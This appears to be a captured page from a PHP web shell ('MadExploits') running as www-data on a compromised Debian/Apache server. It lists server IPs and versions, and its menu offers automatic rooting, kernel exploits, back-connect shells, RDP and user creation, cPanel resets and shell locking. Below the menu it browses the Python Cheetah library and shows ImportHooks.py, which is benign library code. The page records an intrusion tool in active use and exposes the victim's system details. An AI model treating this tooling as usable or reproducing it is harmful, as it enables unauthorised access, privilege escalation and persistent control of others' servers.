Linux biogene 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
Apache
: 46.101.124.208 | : 3.17.73.81
Cant Read [ /etc/named.conf ]
5.6.40-0+deb8u12
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
dist-packages /
Cheetah /
[ HOME SHELL ]
Name
Size
Permission
Action
Macros
[ DIR ]
drwxr-xr-x
Templates
[ DIR ]
drwxr-xr-x
Tests
[ DIR ]
drwxr-xr-x
Tools
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
CacheRegion.py
4.32
KB
-rw-r--r--
CacheRegion.pyc
6.43
KB
-rw-r--r--
CacheStore.py
2.96
KB
-rw-r--r--
CacheStore.pyc
5.66
KB
-rw-r--r--
CheetahWrapper.py
23.41
KB
-rw-r--r--
CheetahWrapper.pyc
22.21
KB
-rw-r--r--
Compiler.py
78.7
KB
-rw-r--r--
Compiler.pyc
74.27
KB
-rw-r--r--
DirectiveAnalyzer.py
2.41
KB
-rw-r--r--
DirectiveAnalyzer.pyc
3.9
KB
-rw-r--r--
Django.py
592
B
-rw-r--r--
Django.pyc
941
B
-rw-r--r--
DummyTransaction.py
3.2
KB
-rw-r--r--
DummyTransaction.pyc
5.46
KB
-rw-r--r--
ErrorCatchers.py
1.71
KB
-rw-r--r--
ErrorCatchers.pyc
3.5
KB
-rw-r--r--
FileUtils.py
10.41
KB
-rw-r--r--
FileUtils.pyc
12.99
KB
-rw-r--r--
Filters.py
7.46
KB
-rw-r--r--
Filters.pyc
8.41
KB
-rw-r--r--
ImportHooks.py
3.89
KB
-rw-r--r--
ImportHooks.pyc
3.75
KB
-rw-r--r--
ImportManager.py
17.14
KB
-rw-r--r--
ImportManager.pyc
16.6
KB
-rw-r--r--
NameMapper.py
12.09
KB
-rw-r--r--
NameMapper.pyc
12.98
KB
-rw-r--r--
Parser.py
101.1
KB
-rw-r--r--
Parser.pyc
78.23
KB
-rw-r--r--
Servlet.py
1.23
KB
-rw-r--r--
Servlet.pyc
1.85
KB
-rw-r--r--
SettingsManager.py
9.94
KB
-rw-r--r--
SettingsManager.pyc
11.23
KB
-rw-r--r--
SourceReader.py
7.79
KB
-rw-r--r--
SourceReader.pyc
11.58
KB
-rw-r--r--
Template.py
83.09
KB
-rw-r--r--
Template.pyc
66.52
KB
-rw-r--r--
TemplateCmdLineIface.py
3.23
KB
-rw-r--r--
TemplateCmdLineIface.pyc
3.87
KB
-rw-r--r--
Unspecified.py
258
B
-rw-r--r--
Unspecified.pyc
799
B
-rw-r--r--
Version.py
1.49
KB
-rw-r--r--
Version.pyc
1.78
KB
-rw-r--r--
__init__.py
582
B
-rw-r--r--
__init__.pyc
754
B
-rw-r--r--
_namemapper.so
14.47
KB
-rw-r--r--
convertTmplPathToModuleName.py
528
B
-rw-r--r--
convertTmplPathToModuleName.py...
785
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ImportHooks.py
#!/usr/bin/env python """ Provides some import hooks to allow Cheetah's .tmpl files to be imported directly like Python .py modules. To use these: import Cheetah.ImportHooks Cheetah.ImportHooks.install() """ import sys import os.path import types import __builtin__ import imp from threading import RLock import string import traceback import types from Cheetah import ImportManager from Cheetah.ImportManager import DirOwner from Cheetah.Compiler import Compiler from Cheetah.convertTmplPathToModuleName import convertTmplPathToModuleName _installed = False ################################################## ## HELPER FUNCS _cacheDir = [] def setCacheDir(cacheDir): global _cacheDir _cacheDir.append(cacheDir) ################################################## ## CLASSES class CheetahDirOwner(DirOwner): _lock = RLock() _acquireLock = _lock.acquire _releaseLock = _lock.release templateFileExtensions = ('.tmpl',) def getmod(self, name): self._acquireLock() try: mod = DirOwner.getmod(self, name) if mod: return mod for ext in self.templateFileExtensions: tmplPath = os.path.join(self.path, name + ext) if os.path.exists(tmplPath): try: return self._compile(name, tmplPath) except: # @@TR: log the error exc_txt = traceback.format_exc() exc_txt =' '+(' \n'.join(exc_txt.splitlines())) raise ImportError( 'Error while compiling Cheetah module' ' %(name)s, original traceback follows:\n%(exc_txt)s'%locals()) ## return None finally: self._releaseLock() def _compile(self, name, tmplPath): ## @@ consider adding an ImportError raiser here code = str(Compiler(file=tmplPath, moduleName=name, mainClassName=name)) if _cacheDir: __file__ = os.path.join(_cacheDir[0], convertTmplPathToModuleName(tmplPath)) + '.py' try: open(__file__, 'w').write(code) except OSError: ## @@ TR: need to add some error code here traceback.print_exc(file=sys.stderr) __file__ = tmplPath else: __file__ = tmplPath co = compile(code+'\n', __file__, 'exec') mod = types.ModuleType(name) mod.__file__ = co.co_filename if _cacheDir: mod.__orig_file__ = tmplPath # @@TR: this is used in the WebKit # filemonitoring code mod.__co__ = co return mod ################################################## ## FUNCTIONS def install(templateFileExtensions=('.tmpl',)): """Install the Cheetah Import Hooks""" global _installed if not _installed: CheetahDirOwner.templateFileExtensions = templateFileExtensions import __builtin__ if isinstance(__builtin__.__import__, types.BuiltinFunctionType): global __oldimport__ __oldimport__ = __builtin__.__import__ ImportManager._globalOwnerTypes.insert(0, CheetahDirOwner) #ImportManager._globalOwnerTypes.append(CheetahDirOwner) global _manager _manager=ImportManager.ImportManager() _manager.setThreaded() _manager.install() def uninstall(): """Uninstall the Cheetah Import Hooks""" global _installed if not _installed: import __builtin__ if isinstance(__builtin__.__import__, types.MethodType): __builtin__.__import__ = __oldimport__ global _manager del _manager if __name__ == '__main__': install()
Close